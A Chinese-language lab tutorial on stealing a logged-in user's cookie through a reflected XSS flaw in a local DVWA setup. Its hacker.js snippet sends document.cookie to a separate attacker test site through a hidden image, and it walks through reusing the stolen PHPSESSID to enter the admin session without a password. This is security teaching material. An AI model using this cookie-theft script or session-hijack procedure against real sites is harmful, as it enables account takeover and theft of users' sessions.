利用反射型XSS漏洞,模拟获取登录账户的Cookie

目录结构

一、测试环境
二、测试目标
三、原理描述
四、操作步骤
    1.在服务器上搭建并启用hacker测试网站
    2.在服务器上测试站点根目录内创建一个存放攻击脚本的文件夹
    3.在xss文件夹下创建攻击脚本、cookie存储文件
    4.浏览器客户端向服务端提交特殊构造的XSS攻击脚本
    5.检查服务端获取到的cookie信息
    6.验证服务端获取到的cookie的有效性


一、测试环境:

PhpStudy+DVWA

二、测试目标:

从已知站点的XSS漏洞,获取已登录账户的cookie相关信息,传递到服务端指定文件中存储

三、原理描述:

利用已知A站点模拟被攻击站点,http://localhost:8001/dvwa/)存在的反射型XSS漏洞,浏览器客户端向服务端提交特殊构造的脚本语句,由于客户端和服务端缺少必要的敏感字符过滤、转义等控制,浏览器端解析html代码时会执行提交时构造的JavaScript语句,并将当前浏览器登录账户的cookie信息获取并赋给url中设定的参数传递。
因JavaScript语句中构造有B站点模拟实现攻击的测试网站,http://www.hacktest.com:8002)服务端上指定的js脚本,该js脚本被设置为指向服务端上预先准备好的PHP攻击脚本,该PHP脚本则用来接收浏览器端特定参数传递过来的cookie值、以及其他信息(主机IP、链接来源、日期、浏览器类型...),然后将获取的敏感信息存储到B站点服务端指定的文件中,以达到模拟实现窃取cookie的目的。

四、操作步骤

1.在服务器上搭建并启用hacker测试网站

http://www.hacktest.com:8002

模拟实现攻击的测试网站
服务端攻击站点的目录
2.在服务器上测试站点根目录内创建一个存放攻击脚本的文件夹

如:创建一个文件夹 xss

3.在xss文件夹下创建攻击脚本、cookie存储文件

本次测试用攻击脚本:

hacker.js
hacker.php

cookie存储文件:

cookie.txt
1)hacker.js
//通过指定的名称'img'创建img元素
var img = document.createElement('img');
img.width = 0;
img.height = 0;

//将img元素的src属性指向脚本文件hacker.php
//将cookie信息的字符串作为URI组件进行编码,然后用ck参数传递
img.src = 'http://www.hacktest.com:8002/xss/hacker.php?ck='+encodeURIComponent(document.cookie);
2)hacker.php

4.浏览器客户端向服务端提交特殊构造的XSS攻击脚本

构造XSS攻击脚本:


Reflected XSS界面
提交JavaScript脚本
JavaScript脚本已嵌入到html代码中
5.检查服务端获取到的cookie信息
已自动将cookie信息存放到cookie.txt文件中
6.验证服务端获取到的cookie的有效性

新开一个浏览器,访问dvwa站点:
http://localhost:8001/dvwa/

未用账户和密码登录,直接修改cookie中各项为服务端获取到的cookie值

替换PHPSESSID值,保存
替换security值,保存

再次刷新访问url:
http://localhost:8001/dvwa/

此时,已直接进入到账户admin的已登录界面,实现不用账户和密码直接可登录站点的效果

登录成功

参考来源:
[1] XSS获取cookie
[2] 接收cookie代码与注入盗取cookie代码参考

你可能感兴趣的:(利用反射型XSS漏洞,模拟获取登录账户的Cookie)